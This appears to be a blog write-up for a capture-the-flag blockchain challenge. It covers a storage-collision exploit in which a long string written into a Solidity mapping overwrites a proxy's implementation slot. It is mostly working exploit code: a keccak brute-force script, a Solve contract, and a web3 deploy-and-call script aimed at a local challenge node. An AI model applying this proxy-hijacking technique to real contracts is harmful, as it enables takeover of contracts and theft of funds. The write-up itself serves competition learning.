Find a storage collision!
The mapping(uint256 => string) public FlagNames is stored in slot 6. To brute-force it, focus on cases where the string length is 32 or greater.
When the ID is 56488061, the implementation slot of proxy is 141 slots apart.
from Crypto.Hash import keccak
from tqdm import tqdm
def compute_flagnames_length_slot(key: int, base_slot: int = 0) -> str:
key_bytes = key.to_bytes(32, byteorder='big')
slot_bytes = base_slot.to_bytes(32, byteorder='big')
hasher = keccak.new(digest_bits=256)
hasher.update(key_bytes + slot_bytes)
length_slot_hex = "0x" + hasher.hexdigest()
return length_slot_hex
def compute_data_slot(length_slot_hex: str, offset: int = 0) -> str:
length_slot_no_0x = length_slot_hex[2:]
length_slot_bytes = bytes.fromhex(length_slot_no_0x)
hasher2 = keccak.new(digest_bits=256)
hasher2.update(length_slot_bytes)
data_offset_hex = "0x" + hasher2.hexdigest()
return data_offset_hex
target_hashes_hex = [
"0x6ec82d6c1818e9fe1ca828d3577e9b2dadd8d4720dd58701606af804c069cfcb",
"0xb6753470eb6d4b1c922b6fc73d6f139c74e8cf70d68951794272d43bed766bd6"
]
target_hashes_int = [int(h, 16) for h in target_hashes_hex]
def is_within_tolerance(slot_hex: str, targets: list[int], tolerance: int = 1000) -> bool:
slot_val = int(slot_hex, 16)
for t in targets:
if abs(slot_val - t) <= tolerance:
return True
return False
def main():
for i in [6]:
print(f"[+] Starting search for i={i}")
for j in tqdm(range(0, 100000000), desc=f"i={i}"):
length_slot_hex = compute_flagnames_length_slot(j, i)
data_slot_hex = compute_data_slot(length_slot_hex, offset=0)
if is_within_tolerance(data_slot_hex, target_hashes_int, tolerance=10000):
print(f"Found! i={i}, j={j}, data_slot={data_slot_hex}")
break
if __name__ == "__main__":
main()
contract Solve {
Setup public setup;
CryptoFlags public cryptoFlags;
constructor(address _setup){
setup = Setup(_setup);
cryptoFlags = CryptoFlags(setup.cryptoFlags());
}
function solve(bytes memory answer) public {
cryptoFlags.claimFlag(56488061);
cryptoFlags.setFlagName(56488061, string(answer));
}
function isSolved() external pure returns (bool) {
return true;
}
}
import json
from web3 import Web3
from solc import compile_source
from Crypto.Util.number import *
w3 = Web3(Web3.HTTPProvider("http://10.244.0.1:8545"))
#Check Connection
t=w3.is_connected()
print(t)
# Get env
prikey = '0x4ca9a10b1f99cba18cb244c1737286e59f2da53b71d535126b3db6de3d0cead3'
# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
myAddr = Public_Address
SETUP = "0x2d2174DA255968410293bc12bb6cCa11905b8eD0"
def solve_deploy():
f = open("solve.abi", "r"); contract_abi= f.read(); f.close()
f = open("solve.bin", "r"); contract_bytecode= f.read(); f.close()
contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
transaction = contract.constructor(SETUP).build_transaction(
{
"chainId": w3.eth.chain_id,
"gasPrice": w3.eth.gas_price,
"from": Public_Address,
"nonce": w3.eth.get_transaction_count(Public_Address),
}
)
sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
print("Deploying Contract!")
# Send the transaction
transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
# Wait for the transaction to be mined, and get the transaction receipt
print("Waiting for transaction to finish...")
transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
print(transaction_receipt)
print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
return str(transaction_receipt.contractAddress)
def solve():
f = open('solve.abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=SOLVE, abi=abi)
addr = b"\x00" * 12 + long_to_bytes(int(SOLVE, 16))
func_call = contract.functions["solve"](addr * 150).build_transaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
SOLVE = solve_deploy()
solve()
'writeups' 카테고리의 다른 글
lakectf 2025 qual - silly, hopfield (0) | 2024.12.08 |
---|---|
2024 Blaz CTF - solana challs (0) | 2024.10.08 |
2024 codegate - sms (0) | 2024.09.04 |
SekaiCTF 2024 - solana (0) | 2024.08.26 |
CrewCTF 2024 - blockchain(lightbook) (0) | 2024.08.05 |